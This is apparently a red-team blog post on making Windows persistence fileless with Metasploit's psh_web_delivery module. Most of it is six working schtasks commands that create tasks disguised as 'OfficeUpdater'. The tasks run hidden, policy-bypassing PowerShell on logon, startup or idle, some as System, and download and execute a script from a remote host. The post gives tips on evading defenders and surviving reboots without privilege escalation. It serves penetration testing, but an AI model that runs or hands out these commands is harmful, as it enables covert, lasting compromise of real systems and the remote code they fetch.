One of my favorite Metasploit Framework modules is psh_web_delivery. You can find it in exploits -> windows -> misc. This module starts a local web server that hosts a PowerShell script. This module also provides a PowerShell one liner to download this script and run it. I use this module all of the time in my local testing. Here’s the output of the module:

pshwebdelivery

When I provide red team support at an event, persistence is something that usually falls into my lane. Sometimes, people catch my persistence when they find an EXE or DLL artifact with a recent timestamp. Ever since I started to use psh_web_delivery in my testing, I wondered if I could also use it for persistence without dropping an artifact on disk. The answer is yes.

Here’s how to do it with schtasks:

#(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

#(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System

#(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

Each of these one liners assumes a 32-bit PAYLOAD.

I’m not a PowerShell developer, so the hardest part of this exercise for me was the quoting. I’ve never seen anything quite like PowerShell’s convention for escaping quotes. PowerShell includes an option to evaluate a Base64-encoded one liner. I tried to go this route, but I hit the character limit for the task I could schedule.

One interesting note–you may schedule a task for the user idle event as a non-privileged user. If you need to survive a reboot on a system that you can’t escalate on, this is an option. If you test this option–beware that Windows checks if the user is idle once every fifteen minutes or so. If you schedule an onidle event for 1 minute, don’t expect to see a session one minute later.